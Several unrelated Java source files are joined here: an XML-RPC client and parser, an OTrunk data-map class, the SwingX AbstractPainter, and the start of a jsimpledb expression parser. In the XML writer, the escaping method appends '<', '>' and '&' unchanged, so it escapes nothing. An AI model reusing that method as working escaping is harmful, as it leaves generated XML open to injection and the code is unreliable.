OutputStream out = con.getOutputStream();
out.write(request);
out.flush();
InputStream in = con.getInputStream();
parse(in);
System.out.println("result = " + result);
}
catch (Exception x)
{
x.printStackTrace();
throw new IOException(x.getMessage());
}
if (fault)
{
// generate an XmlRpcException
XmlRpcException exception = null;
try
{
Hashtable f = (Hashtable) result;
String faultString = (String) f.get("faultString");
int faultCode = Integer.parseInt(f.get("faultCode").toString());
exception = new XmlRpcException(faultCode, faultString.trim());
}
catch (Exception x)
{
throw new XmlRpcException(0, "Invalid fault response");
}
throw exception;
}
System.out.println("Spent " + (System.currentTimeMillis() - now)
+ " in request");
return result;
}
/**
* Called when the return value has been parsed.
*/
void objectParsed(Object what)
{
result = what;
}
/**
* Generate an XML-RPC request from a method name and a parameter vector.
*/
void writeRequest (XmlWriter writer, String method, Vector params)
throws IOException
{
writer.startElement("methodCall");
writer.startElement("methodName");
writer.write(method);
writer.endElement("methodName");
writer.startElement("params");
int l = params.size();
for (int i = 0; i < l; i++)
{
writer.startElement("param");
writeObject(params.elementAt (i), writer);
writer.endElement("param");
}
writer.endElement("params");
writer.endElement("methodCall");
}
// methods called by XML parser
/**
* Method called by SAX driver.
*/
public void characters(char ch[], int start, int length)
throws SAXException
{
if (! readCdata)
{
return;
}
cdata.append (ch, start, length);
}
/**
* Method called by SAX driver.
*/
public void endElement(String name) throws SAXException
{
if (debug)
{
System.err.println("endElement: " + name);
}
// finalize character data, if appropriate
if (currentValue != null && readCdata)
{
currentValue.characterData(cdata.toString());
cdata.setLength(0);
readCdata = false;
}
if ("value".equals(name))
{
int depth = values.size();
// Only handle top level objects or objects contained in arrays here.
// For objects contained in structs, wait for </member> (see code below).
if (depth < 2 || values.elementAt (depth - 2).hashCode () != STRUCT)
{
Value v = currentValue;
values.pop();
if (depth < 2)
{
// This is a top-level object
objectParsed(v.value);
currentValue = null;
}
else
{
// add object to sub-array; if current container is a struct, add later (at </member>)
currentValue = (Value) values.peek();
currentValue.endElement(v);
}
}
}
// Handle objects contained in structs.
if ("member".equals(name))
{
Value v = currentValue;
values.pop();
currentValue = (Value) values.peek();
currentValue.endElement(v);
}
else if ("methodName".equals(name))
{
methodName = cdata.toString();
cdata.setLength(0);
readCdata = false;
}
}
/**
* Method called by SAX driver.
*/
public void startElement (String name, AttributeList atts)
throws SAXException
{
if (debug)
{
System.err.println("startElement: " + name);
}
if ("value".equals(name))
{
// System.err.println ("starting value");
Value v = new Value();
values.push(v);
currentValue = v;
// cdata object is reused
cdata.setLength(0);
readCdata = true;
}
else if ("methodName".equals(name))
{
cdata.setLength(0);
readCdata = true;
}
else if ("name".equals(name))
{
cdata.setLength(0);
readCdata = true;
}
else if ("string".equals(name))
{
// currentValue.setType (STRING);
cdata.setLength(0);
readCdata = true;
}
else if ("i4".equals(name) || "int".equals(name))
{
currentValue.setType(INTEGER);
cdata.setLength(0);
readCdata = true;
}
else if ("boolean".equals(name))
{
currentValue.setType(BOOLEAN);
cdata.setLength(0);
readCdata = true;
}
else if ("double".equals(name))
{
currentValue.setType(DOUBLE);
cdata.setLength(0);
readCdata = true;
}
else if ("dateTime.iso8601".equals(name))
{
currentValue.setType(DATE);
cdata.setLength(0);
readCdata = true;
}
else if ("base64".equals(name))
{
currentValue.setType(BASE64);
cdata.setLength(0);
readCdata = true;
}
else if ("struct".equals(name))
{
currentValue.setType(STRUCT);
}
else if ("array".equals(name))
{
currentValue.setType(ARRAY);
}
}
/**
*
* @param e
* @throws SAXException
*/
public void error(SAXParseException e) throws SAXException
{
System.err.println("Error parsing XML: " + e);
// errorLevel = RECOVERABLE;
// errorMsg = e.toString ();
}
/**
*
* @param e
* @throws SAXException
*/
public void fatalError(SAXParseException e) throws SAXException
{
System.err.println("Fatal error parsing XML: " + e);
// errorLevel = FATAL;
// errorMsg = e.toString ();
}
/**
* This represents an XML-RPC Value while the request is being parsed.
*/
class Value
{
int type;
Object value;
// the name to use for the next member of struct values
String nextMemberName;
Hashtable struct;
Vector array;
/**
* Constructor.
*/
public Value()
{
this.type = STRING;
}
/**
* Notification that a new child element has been parsed.
*/
public void endElement(Value child)
{
if (type == ARRAY)
{
array.addElement(child.value);
}
else if (type == STRUCT)
{
struct.put(nextMemberName, child.value);
}
}
/**
* Set the type of this value. If it's a container, create the
* corresponding java container.
*/
public void setType(int type)
{
// System.err.println ("setting type to "+types[type]);
this.type = type;
if (type == ARRAY)
{
value = new Vector();
array = new Vector();
}
if (type == STRUCT)
{
value = new Hashtable();
struct = new Hashtable();
}
}
/**
* Set the character data for the element and interpret it according to
* the element type
*/
public void characterData (String cdata)
{
switch (type)
{
case INTEGER:
value = new Integer(cdata.trim());
break;
case BOOLEAN:
value = new Boolean("1".equals(cdata.trim()));
break;
case DOUBLE:
value = new Double(cdata.trim());
break;
case DATE:
try
{
value = format.parse(cdata.trim());
}
catch (ParseException p)
{
throw new RuntimeException(p.getMessage());
}
break;
case BASE64:
value = Base64.decode(cdata.getBytes());
break;
case STRING:
value = cdata;
break;
case STRUCT:
// this is the name to use for the next member of this struct
nextMemberName = cdata;
break;
}
}
/**
* This is a performance hack to get the type of a value without casting
* the Object. It breaks the contract of method hashCode, but it doesn't
* matter since Value objects are never used as keys in Hashtables.
*/
public int hashCode ()
{
return type;
}
/**
*
* @return
*/
public String toString ()
{
return (types[type] + " element " + value);
}
}
/**
* A quick and dirty XML writer.
* TODO: Replace with core package's XmlWriter class.
*/
class XmlWriter
{
StringBuffer buf;
String enc;
/**
*
* @param buf
*/
public XmlWriter(StringBuffer buf)
{
this.buf = buf;
buf.append("<?xml version=\"1.0\"?>");
}
/**
*
* @param elem
*/
public void startElement(String elem)
{
buf.append("<");
buf.append(elem);
buf.append(">");
}
/**
*
* @param elem
*/
public void endElement(String elem)
{
buf.append("</");
buf.append(elem);
buf.append(">");
}
/**
*
* @param elem
*/
public void emptyElement(String elem)
{
buf.append("<");
buf.append(elem);
buf.append("/>");
}
/**
*
* @param text
*/
public void chardata(String text)
{
int l = text.length();
for (int i = 0; i < l; i++)
{
char c = text.charAt(i);
switch (c)
{
case '<' :
buf.append("<");
break;
case '>' :
buf.append(">");
break;
case '&' :
buf.append("&");
break;
default :
buf.append(c);
}
}
}
/**
*
* @param text
*/
public void write(byte[] text)
{
buf.append(text);
}
/**
*
* @param text
*/
public void write(char[] text)
{
buf.append(text);
}
/**
*
* @param text
*/
public void write(String text)
{
buf.append(text);
}
/**
*
* @return
*/
public String toString()
{
return buf.toString();
}
/**
*
* @return
* @throws UnsupportedEncodingException
*/
public byte[] getBytes() throws UnsupportedEncodingException
{
return buf.toString().getBytes();
}
}
}
|
package org.concord.otrunk.overlay;
import org.concord.otrunk.datamodel.OTDataCollection;
import org.concord.otrunk.datamodel.OTDataMap;
final class CompositeDataMap extends CompositeDataCollection
implements OTDataMap
{
public CompositeDataMap(CompositeDataObject parent,
OTDataMap authoredMap, String resourceName, boolean composite)
{
super(OTDataMap.class, parent, authoredMap, resourceName, composite);
}
private OTDataMap getUserMap()
{
return (OTDataMap)getCollectionForWrite();
}
private OTDataMap getMapForRead()
{
return (OTDataMap)getCollectionForRead();
}
protected void copyInto(OTDataCollection userCollection,
OTDataCollection authoredCollection)
{
OTDataMap authoredMap = (OTDataMap)authoredCollection;
OTDataMap userMap = (OTDataMap) userCollection;
String [] keys = authoredMap.getKeys();
for(int i=0; i<keys.length; i++) {
userMap.put(keys[i], authoredMap.get(keys[i]));
}
}
/* (non-Javadoc)
* @see org.concord.framework.otrunk.OTResourceMap#get(java.lang.String)
*/
public Object get(String key)
{
OTDataMap mapForRead = getMapForRead();
if(mapForRead == null) return null;
return mapForRead.get(key);
}
/* (non-Javadoc)
* @see org.concord.framework.otrunk.OTResourceMap#getKeys()
*/
public String[] getKeys()
{
OTDataMap mapForRead = getMapForRead();
if(mapForRead == null) return new String[0];
return mapForRead.getKeys();
}
/* (non-Javadoc)
* @see org.concord.framework.otrunk.OTResourceMap#put(java.lang.String, java.lang.Object)
*/
public void put(String key, Object resource)
{
OTDataMap userMap = getUserMap();
resource = resolveIDResource(resource);
userMap.put(key, resource);
}
}
|
package org.jdesktop.swingx.painter;
import java.awt.Color;
import java.awt.Composite;
import java.awt.Font;
import java.awt.Graphics2D;
import java.awt.Paint;
import java.awt.RenderingHints;
import java.awt.Shape;
import java.awt.Stroke;
import java.awt.Transparency;
import java.awt.geom.AffineTransform;
import java.awt.image.BufferedImage;
import java.lang.ref.SoftReference;
import java.util.HashMap;
import javax.swing.JComponent;
import org.jdesktop.swingx.JavaBean;
import org.jdesktop.swingx.util.PaintUtils;
import org.jdesktop.swingx.util.Resize;
/**
* <p>A convenient base class from which concrete Painter implementations may
* extend. It extends JavaBean and thus provides property change notification
* (which is crucial for the Painter implementations to be available in a
* GUI builder). It also saves off the Graphics2D state in its "saveState" method,
* and restores that state in the "restoreState" method. Sublasses simply need
* to extend AbstractPainter and implement the paintBackground method.
*
* <p>For example, here is the paintBackground method of BackgroundPainter:
* <pre><code>
* public void paintBackground(Graphics2D g, JComponent component) {
* g.setColor(component.getBackground());
* g.fillRect(0, 0, component.getWidth(), component.getHeight());
* }
* </code></pre>
*
* <p>AbstractPainter provides a very useful default implementation of
* the paint method. It:
* <ol>
* <li>Saves off the old state</li>
* <li>Sets any specified rendering hints</li>
* <li>Sets the Clip if there is one</li>
* <li>Sets the Composite if there is one</li>
* <li>Delegates to paintBackground</li>
* <li>Restores the original Graphics2D state</li>
* <ol></p>
*
* <p>Specifying rendering hints can greatly improve the visual impact of your
* applications. For example, by default Swing doesn't do much in the way of
* antialiasing (except for Fonts, but that's another story). Pinstripes don't
* look so good without antialiasing. So if I were going to paint pinstripes, I
* might do it like this:
* <pre><code>
* PinstripePainter p = new PinstripePainter();
* p.setAntialiasing(RenderingHints.VALUE_ANTIALIAS_ON);
* </code></pre></p>
*
* <p>You can read more about antialiasing and other rendering hints in the
* java.awt.RenderingHints documentation. <strong>By nature, changing the rendering
* hints may have an impact on performance. Certain hints require more
* computation, others require less</strong></p>
*
* @author rbair
*/
public abstract class AbstractPainter extends JavaBean implements Painter {
private boolean stateSaved = false;
private Paint oldPaint;
private Font oldFont;
private Stroke oldStroke;
private AffineTransform oldTransform;
private Composite oldComposite;
private Shape oldClip;
private Color oldBackground;
private Color oldColor;
private RenderingHints oldRenderingHints;
private Shape clip;
private Resize resizeClip;
private Composite composite;
private boolean useCache;
private RenderingHints renderingHints;
private SoftReference<BufferedImage> cachedImage;
private Effect effect;
/**
* Creates a new instance of AbstractPainter
*/
public AbstractPainter() {
renderingHints = new RenderingHints(new HashMap<RenderingHints.Key,Object>());
}
/**
* <p>Sets whether to cache the painted image with a SoftReference in a BufferedImage
* between calls. If true, and if the size of the component hasn't changed,
* then the cached image will be used rather than causing a painting operation.</p>
*
* <p>This should be considered a hint, rather than absolute. Several factors may
* force repainting, including low memory, different component sizes, or possibly
* new rendering hint settings, etc.</p>
*
* @param b whether or not to use the cache
*/
public void setUseCache(boolean b) {
boolean old = isUseCache();
useCache = b;
firePropertyChange("useCache", old, isUseCache());
//if there was a cached image and I'm no longer using the cache, blow it away
if (cachedImage != null && !isUseCache()) {
cachedImage = null;
}
}
/**
* @returns whether or not the cache should be used
*/
public boolean isUseCache() {
return useCache;
}
/**
* <p>Sets an effect (or multiple effects if you use a CompoundEffect)
* to apply to the results of the AbstractPainter's painting operation.
* Some common effects include blurs, shadows, embossing, and so forth. If
* the given effect is null, no effects will be used</p>
*
* @param effects the Effect to apply to the results of the AbstractPainter's
* painting operation
*/
public void setEffect(Effect effect) {
Effect old = getEffect();
this.effect = effect;
firePropertyChange("effect", old, getEffect());
}
/**
* @param effects the Effect to apply to the results of the AbstractPainter's
* painting operation. May be null
*/
public Effect getEffect() {
return this.effect;
}
/**
* Specifies the Shape to use for clipping the painting area. This
* may be null
*
* @param clip the Shape to use to clip the area. Whatever is inside this
* shape will be kept, everything else "clipped". May be null. If
* null, the clipping is not set on the graphics object
*/
public void setClip(Shape clip) {
Shape old = getClip();
this.clip = clip;
firePropertyChange("clip", old, getClip());
}
/**
* @returns the clipping shape
*/
public Shape getClip() {
return clip;
}
/**
* Specifies the resize behavior of the clip. As with all other properties
* that rely on Resize, the value of the width/height of the shape will
* represent a percentage of the width/height of the component, as a value
* between 0 and 1
*
* @param r value indication whether/how to resize the clip. If null,
* Resize.NONE will be used
*/
public void setResizeClip(Resize r) {
Resize old = getResizeClip();
this.resizeClip = r == null ? r.NONE : r;
firePropertyChange("resizeClip", old, getResizeClip());
}
/**
* @return value indication whether/how to resize the clip. Will never be null
*/
public Resize getResizeClip() {
return resizeClip;
}
/**
* Sets the Composite to use. For example, you may specify a specific
* AlphaComposite so that when this Painter paints, any content in the
* drawing area is handled properly
*
* @param c The composite to use. If null, then no composite will be
* specified on the graphics object
*/
public void setComposite(Composite c) {
Composite old = getComposite();
this.composite = c;
firePropertyChange("composite", old, getComposite());
}
/**
* @returns the composite
*/
public Composite getComposite() {
return composite;
}
/**
* @returns the technique used for interpolating alpha values. May be one
* of:
* <ul>
* <li>RenderingHints.VALUE_ALPHA_INTERPOLATION_SPEED</li>
* <li>RenderingHints.VALUE_ALPHA_INTERPOLATION_QUALITY</li>
* <li>RenderingHints.VALUE_ALPHA_INTERPOLATION_DEFAULT</li>
* </ul>
*/
public Object getAlphaInterpolation() {
return renderingHints.get(RenderingHints.KEY_ALPHA_INTERPOLATION);
}
/**
* Sets the technique used for interpolating alpha values.
*
* @param alphaInterpolation
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_ALPHA_INTERPOLATION_SPEED</li>
* <li>RenderingHints.VALUE_ALPHA_INTERPOLATION_QUALITY</li>
* <li>RenderingHints.VALUE_ALPHA_INTERPOLATION_DEFAULT</li>
* </ul>
*/
public void setAlphaInterpolation(Object alphaInterpolation) {
if (!RenderingHints.KEY_ALPHA_INTERPOLATION.isCompatibleValue(alphaInterpolation)) {
throw new IllegalArgumentException(alphaInterpolation + " is not an acceptable value");
}
Object old = getAlphaInterpolation();
renderingHints.put(RenderingHints.KEY_ALPHA_INTERPOLATION, alphaInterpolation);
firePropertyChange("alphaInterpolation", old, getAlphaInterpolation());
}
/**
* @returns whether or not to antialias
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_ANTIALIAS_DEFAULT</li>
* <li>RenderingHints.VALUE_ANTIALIAS_OFF</li>
* <li>RenderingHints.VALUE_ANTIALIAS_ON</li>
* </ul>
*/
public Object getAntialiasing() {
return renderingHints.get(RenderingHints.KEY_ANTIALIASING);
}
/**
* Sets whether or not to antialias
* @param antialiasing
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_ANTIALIAS_DEFAULT</li>
* <li>RenderingHints.VALUE_ANTIALIAS_OFF</li>
* <li>RenderingHints.VALUE_ANTIALIAS_ON</li>
* </ul>
*/
public void setAntialiasing(Object antialiasing) {
if (!RenderingHints.KEY_ANTIALIASING.isCompatibleValue(antialiasing)) {
throw new IllegalArgumentException(antialiasing + " is not an acceptable value");
}
Object old = getAntialiasing();
renderingHints.put(RenderingHints.KEY_ANTIALIASING, antialiasing);
firePropertyChange("antialiasing", old, getAntialiasing());
}
/**
* @returns the technique to use for rendering colors
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_COLOR_RENDER_DEFAULT</li>
* <li>RenderingHints.VALUE_RENDER_QUALITY</li>
* <li>RenderingHints.VALUE_RENDER_SPEED</li>
* </ul>
*/
public Object getColorRendering() {
return renderingHints.get(RenderingHints.KEY_COLOR_RENDERING);
}
/**
* Sets the technique to use for rendering colors
* @param colorRendering
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_COLOR_RENDER_DEFAULT</li>
* <li>RenderingHints.VALUE_RENDER_QUALITY</li>
* <li>RenderingHints.VALUE_RENDER_SPEED</li>
* </ul>
*/
public void setColorRendering(Object colorRendering) {
if (!RenderingHints.KEY_COLOR_RENDERING.isCompatibleValue(colorRendering)) {
throw new IllegalArgumentException(colorRendering + " is not an acceptable value");
}
Object old = getColorRendering();
renderingHints.put(RenderingHints.KEY_COLOR_RENDERING, colorRendering);
firePropertyChange("colorRendering", old, getColorRendering());
}
/**
* @returns whether or not to dither
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_DITHER_DEFAULT</li>
* <li>RenderingHints.VALUE_DITHER_ENABLE</li>
* <li>RenderingHints.VALUE_DITHER_DISABLE</li>
* </ul>
*/
public Object getDithering() {
return renderingHints.get(RenderingHints.KEY_DITHERING);
}
/**
* Sets whether or not to dither
* @param dithering
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_DITHER_DEFAULT</li>
* <li>RenderingHints.VALUE_DITHER_ENABLE</li>
* <li>RenderingHints.VALUE_DITHER_DISABLE</li>
* </ul>
*/
public void setDithering(Object dithering) {
if (!RenderingHints.KEY_DITHERING.isCompatibleValue(dithering)) {
throw new IllegalArgumentException(dithering + " is not an acceptable value");
}
Object old = getDithering();
renderingHints.put(RenderingHints.KEY_DITHERING, dithering);
firePropertyChange("dithering", old, getDithering());
}
/**
* @returns whether or not to use fractional metrics
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_FRACTIONALMETRICS_DEFAULT</li>
* <li>RenderingHints.VALUE_FRACTIONALMETRICS_OFF</li>
* <li>RenderingHints.VALUE_FRACTIONALMETRICS_ON</li>
* </ul>
*/
public Object getFractionalMetrics() {
return renderingHints.get(RenderingHints.KEY_FRACTIONALMETRICS);
}
/**
* Sets whether or not to use fractional metrics
*
* @param fractionalMetrics
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_FRACTIONALMETRICS_DEFAULT</li>
* <li>RenderingHints.VALUE_FRACTIONALMETRICS_OFF</li>
* <li>RenderingHints.VALUE_FRACTIONALMETRICS_ON</li>
* </ul>
*/
public void setFractionalMetrics(Object fractionalMetrics) {
if (!RenderingHints.KEY_FRACTIONALMETRICS.isCompatibleValue(fractionalMetrics)) {
throw new IllegalArgumentException(fractionalMetrics + " is not an acceptable value");
}
Object old = getFractionalMetrics();
renderingHints.put(RenderingHints.KEY_FRACTIONALMETRICS, fractionalMetrics);
firePropertyChange("fractionalMetrics", old, getFractionalMetrics());
}
/**
* @returns the technique to use for interpolation (used esp. when scaling)
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_INTERPOLATION_BICUBIC</li>
* <li>RenderingHints.VALUE_INTERPOLATION_BILINEAR</li>
* <li>RenderingHints.VALUE_INTERPOLATION_NEAREST_NEIGHBOR</li>
* </ul>
*/
public Object getInterpolation() {
return renderingHints.get(RenderingHints.KEY_INTERPOLATION);
}
/**
* Sets the technique to use for interpolation (used esp. when scaling)
* @param interpolation
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_INTERPOLATION_BICUBIC</li>
* <li>RenderingHints.VALUE_INTERPOLATION_BILINEAR</li>
* <li>RenderingHints.VALUE_INTERPOLATION_NEAREST_NEIGHBOR</li>
* </ul>
*/
public void setInterpolation(Object interpolation) {
if (!RenderingHints.KEY_INTERPOLATION.isCompatibleValue(interpolation)) {
throw new IllegalArgumentException(interpolation + " is not an acceptable value");
}
Object old = getInterpolation();
renderingHints.put(RenderingHints.KEY_INTERPOLATION, interpolation);
firePropertyChange("interpolation", old, getInterpolation());
}
/**
* @returns a hint as to techniques to use with regards to rendering quality vs. speed
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_RENDER_QUALITY</li>
* <li>RenderingHints.VALUE_RENDER_SPEED</li>
* <li>RenderingHints.VALUE_RENDER_DEFAULT</li>
* </ul>
*/
public Object getRendering() {
return renderingHints.get(RenderingHints.KEY_RENDERING);
}
/**
* Specifies a hint as to techniques to use with regards to rendering quality vs. speed
*
* @param rendering
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_RENDER_QUALITY</li>
* <li>RenderingHints.VALUE_RENDER_SPEED</li>
* <li>RenderingHints.VALUE_RENDER_DEFAULT</li>
* </ul>
*/
public void setRendering(Object rendering) {
if (!RenderingHints.KEY_RENDERING.isCompatibleValue(rendering)) {
throw new IllegalArgumentException(rendering + " is not an acceptable value");
}
Object old = getRendering();
renderingHints.put(RenderingHints.KEY_RENDERING, rendering);
firePropertyChange("rendering", old, getRendering());
}
/**
* @returns technique for rendering strokes
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_STROKE_DEFAULT</li>
* <li>RenderingHints.VALUE_STROKE_NORMALIZE</li>
* <li>RenderingHints.VALUE_STROKE_PURE</li>
* </ul>
*/
public Object getStrokeControl() {
return renderingHints.get(RenderingHints.KEY_STROKE_CONTROL);
}
/**
* Specifies a technique for rendering strokes
*
* @param strokeControl
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_STROKE_DEFAULT</li>
* <li>RenderingHints.VALUE_STROKE_NORMALIZE</li>
* <li>RenderingHints.VALUE_STROKE_PURE</li>
* </ul>
*/
public void setStrokeControl(Object strokeControl) {
if (!RenderingHints.KEY_STROKE_CONTROL.isCompatibleValue(strokeControl)) {
throw new IllegalArgumentException(strokeControl + " is not an acceptable value");
}
Object old = getStrokeControl();
renderingHints.put(RenderingHints.KEY_STROKE_CONTROL, strokeControl);
firePropertyChange("strokeControl", old, getStrokeControl());
}
/**
* @returns technique for anti-aliasing text.
* (TODO this needs to be updated for Mustang. You may use the
* new Mustang values, and everything will work, but support in
* the GUI builder and documentation need to be added once we
* branch for Mustang)<br/>
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_TEXT_ANTIALIAS_DEFAULT</li>
* <li>RenderingHints.VALUE_TEXT_ANTIALIAS_OFF</li>
* <li>RenderingHints.VALUE_TEXT_ANTIALIAS_ON</li>
* </ul>
*/
public Object getTextAntialiasing() {
return renderingHints.get(RenderingHints.KEY_TEXT_ANTIALIASING);
}
/**
* Sets the technique for anti-aliasing text.
* (TODO this needs to be updated for Mustang. You may use the
* new Mustang values, and everything will work, but support in
* the GUI builder and documentation need to be added once we
* branch for Mustang)<br/>
*
* @param textAntialiasing
* May be one of:
* <ul>
* <li>RenderingHints.VALUE_TEXT_ANTIALIAS_DEFAULT</li>
* <li>RenderingHints.VALUE_TEXT_ANTIALIAS_OFF</li>
* <li>RenderingHints.VALUE_TEXT_ANTIALIAS_ON</li>
* </ul>
*/
public void setTextAntialiasing(Object textAntialiasing) {
if (!RenderingHints.KEY_TEXT_ANTIALIASING.isCompatibleValue(textAntialiasing)) {
throw new IllegalArgumentException(textAntialiasing + " is not an acceptable value");
}
Object old = getTextAntialiasing();
renderingHints.put(RenderingHints.KEY_TEXT_ANTIALIASING, textAntialiasing);
firePropertyChange("textAntialiasing", old, getTextAntialiasing());
}
/**
* @return the rendering hint associated with the given key. May return null
*/
public Object getRenderingHint(RenderingHints.Key key) {
return renderingHints.get(key);
}
/**
* Set the given hint for the given key. This will end up firing the appropriate
* property change event if the key is recognized. For example, if the key is
* RenderingHints.KEY_ANTIALIASING, then the setAntialiasing method will be
* called firing an "antialiasing" property change event if necessary. If
* the key is not recognized, no event will be fired but the key will be saved.
* The key must not be null
*
* @param key cannot be null
* @param hint must be a hint compatible with the given key
*/
public void setRenderingHint(RenderingHints.Key key, Object hint) {
if (key == null) {
throw new NullPointerException("RenderingHints key cannot be null");
}
if (key == RenderingHints.KEY_ALPHA_INTERPOLATION) {
setAlphaInterpolation(hint);
} else if (key == RenderingHints.KEY_ANTIALIASING) {
setAntialiasing(hint);
} else if (key == RenderingHints.KEY_COLOR_RENDERING) {
setColorRendering(hint);
} else if (key == RenderingHints.KEY_DITHERING) {
setDithering(hint);
} else if (key == RenderingHints.KEY_FRACTIONALMETRICS) {
setFractionalMetrics(hint);
} else if (key == RenderingHints.KEY_INTERPOLATION) {
setInterpolation(hint);
} else if (key == RenderingHints.KEY_RENDERING) {
setRendering(hint);
} else if (key == RenderingHints.KEY_STROKE_CONTROL) {
setStrokeControl(hint);
} else if (key == RenderingHints.KEY_TEXT_ANTIALIASING) {
setTextAntialiasing(hint);
} else {
renderingHints.put(key, hint);
}
}
/**
* @return a copy of the map of rendering hints held by this class. This
* returned value will never be null
*/
public RenderingHints getRenderingHints() {
return (RenderingHints)renderingHints.clone();
}
/**
* Sets the rendering hints to use. This will <strong>replace</strong> the
* rendering hints entirely, clearing any hints that were previously set.
*
* @param renderingHints map of hints. May be null. I null, a new Map of
* rendering hints will be created
*/
public void setRenderingHints(RenderingHints renderingHints) {
RenderingHints old = this.renderingHints;
if (renderingHints != null) {
this.renderingHints = (RenderingHints)renderingHints.clone();
} else {
this.renderingHints = new RenderingHints(new HashMap<RenderingHints.Key, Object>());
}
firePropertyChange("renderingHints", old, getRenderingHints());
}
/**
* Saves the state in the given Graphics2D object so that it may be
* restored later.
*
* @param g the Graphics2D object who's state will be saved
*/
protected void saveState(Graphics2D g) {
oldPaint = g.getPaint();
oldFont = g.getFont();
oldStroke = g.getStroke();
oldTransform = g.getTransform();
oldComposite = g.getComposite();
oldClip = g.getClip();
oldBackground = g.getBackground();
oldColor = g.getColor();
//save off the old rendering hints
oldRenderingHints = (RenderingHints)g.getRenderingHints().clone();
stateSaved = true;
}
protected void restoreState(Graphics2D g) {
if (!stateSaved) {
throw new IllegalStateException("A call to saveState must occur " +
"prior to calling restoreState");
}
g.setPaint(oldPaint);
g.setFont(oldFont);
g.setTransform(oldTransform);
g.setStroke(oldStroke);
g.setComposite(oldComposite);
g.setClip(oldClip);
g.setBackground(oldBackground);
g.setColor(oldColor);
//restore the rendering hints
g.setRenderingHints(oldRenderingHints);
stateSaved = false;
}
/**
* @inheritDoc
*/
public void paint(Graphics2D g, JComponent component) {
saveState(g);
configureGraphics(g, component);
//if I am cacheing, and the cache is not null, and the image has the
//same dimensions as the component, then simply paint the image
BufferedImage image = cachedImage == null ? null : cachedImage.get();
if (isUseCache() && image != null
&& image.getWidth() == component.getWidth()
&& image.getHeight() == component.getHeight()) {
g.drawImage(image, 0, 0, null);
} else {
Effect effect = getEffect();
if (effect != null || isUseCache()) {
image = PaintUtils.createCompatibleImage(
component.getWidth(),
component.getHeight(),
Transparency.TRANSLUCENT);
Graphics2D gfx = image.createGraphics();
configureGraphics(gfx, component);
paintBackground(gfx, component);
gfx.dispose();
if (effect != null) {
image = effect.apply(image);
}
g.drawImage(image, 0, 0, null);
if (isUseCache()) {
cachedImage = new SoftReference<BufferedImage>(image);
}
} else {
paintBackground(g, component);
}
}
restoreState(g);
}
/**
* Utility method for configuring the given Graphics2D with the rendering hints,
* composite, and clip
*/
private void configureGraphics(Graphics2D g, JComponent c) {
RenderingHints hints = getRenderingHints();
//merge these hints with the existing ones, otherwise I won't inherit
//any of the hints from the Graphics2D
for (Object key : hints.keySet()) {
g.setRenderingHint((RenderingHints.Key)key, hints.get(key));
}
if (getComposite() != null) {
g.setComposite(getComposite());
}
Shape clip = getClip();
if (clip != null) {
//resize the clip if necessary
double width = 1;
double height = 1;
Resize resizeClip = getResizeClip();
if (resizeClip == Resize.HORIZONTAL || resizeClip == Resize.BOTH) {
width = c.getWidth();
}
if (resizeClip == Resize.VERTICAL || resizeClip == Resize.BOTH) {
height = c.getHeight();
}
clip = AffineTransform.getScaleInstance(
width, height).createTransformedShape(clip);
g.setClip(clip);
}
}
/**
* Subclasses should implement this method and perform custom painting operations
* here. Common behavior, such as setting the clip and composite, saving and restoring
* state, is performed in the "paint" method automatically, and then delegated here.
*
* @param g The Graphics2D object in which to paint
* @param component The JComponent that the Painter is delegate for.
*/
protected abstract void paintBackground(Graphics2D g, JComponent component);
}
|
package org.jsimpledb.cli.parse.expr;
import com.google.common.base.Predicate;
import com.google.common.collect.Iterables;
import com.google.common.collect.Lists;
import java.beans.BeanInfo;
import java.beans.IndexedPropertyDescriptor;
import java.beans.IntrospectionException;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import org.jsimpledb.cli.ObjInfo;
import org.jsimpledb.cli.Session;
import org.jsimpledb.cli.func.Function;
import org.jsimpledb.cli.parse.ParseException;
import org.jsimpledb.cli.parse.ParseUtil;
import org.jsimpledb.cli.parse.Parser;
import org.jsimpledb.cli.parse.SpaceParser;
import org.jsimpledb.core.CounterField;
import org.jsimpledb.core.FieldSwitchAdapter;
import org.jsimpledb.core.MapField;
import org.jsimpledb.core.ObjId;
import org.jsimpledb.core.ObjType;
import org.jsimpledb.core.SetField;
import org.jsimpledb.core.SimpleField;
import org.jsimpledb.core.Transaction;
import org.jsimpledb.util.ParseContext;
public class BaseExprParser implements Parser<Node> {
public static final BaseExprParser INSTANCE = new BaseExprParser();
private final SpaceParser spaceParser = new SpaceParser();
@Override
public Node parse(Session session, ParseContext ctx, boolean complete) {
// Parse initial atom
Node node = AtomParser.INSTANCE.parse(session, ctx, complete);
// Parse operators (this gives left-to-right association)
while (true) {
// Parse operator, if any
final Matcher opMatcher = ctx.tryPattern("\\s*(\\[|\\.|\\(|\\+{2}|-{2})");
if (opMatcher == null)
return node;
final String opsym = opMatcher.group(1);
final int mark = ctx.getIndex();
// Handle operators
switch (opsym) {
case "(":
{
// Atom must be an identifier, for a function call
if (!(node instanceof IdentNode))
throw new ParseException(ctx);
final String functionName = ((IdentNode)node).getName();
final Function function = session.getFunctions().get(functionName);
if (function != null) {
final Object params = function.parseParams(session, ctx, complete);
node = new Node() {
@Override
public Value evaluate(Session session) {
return function.apply(session, params);
}
};
break;
}
throw new ParseException(ctx, "unknown function `" + functionName + "()'")
.addCompletions(ParseUtil.complete(session.getFunctions().keySet(), functionName));
}
case ".":
{
// Parse next atom - it must be an identifier, method or property name
this.spaceParser.parse(ctx, complete);
final Node memberNode = AtomParser.INSTANCE.parse(session, ctx, complete);
if (!(memberNode instanceof IdentNode)) {
ctx.setIndex(mark);
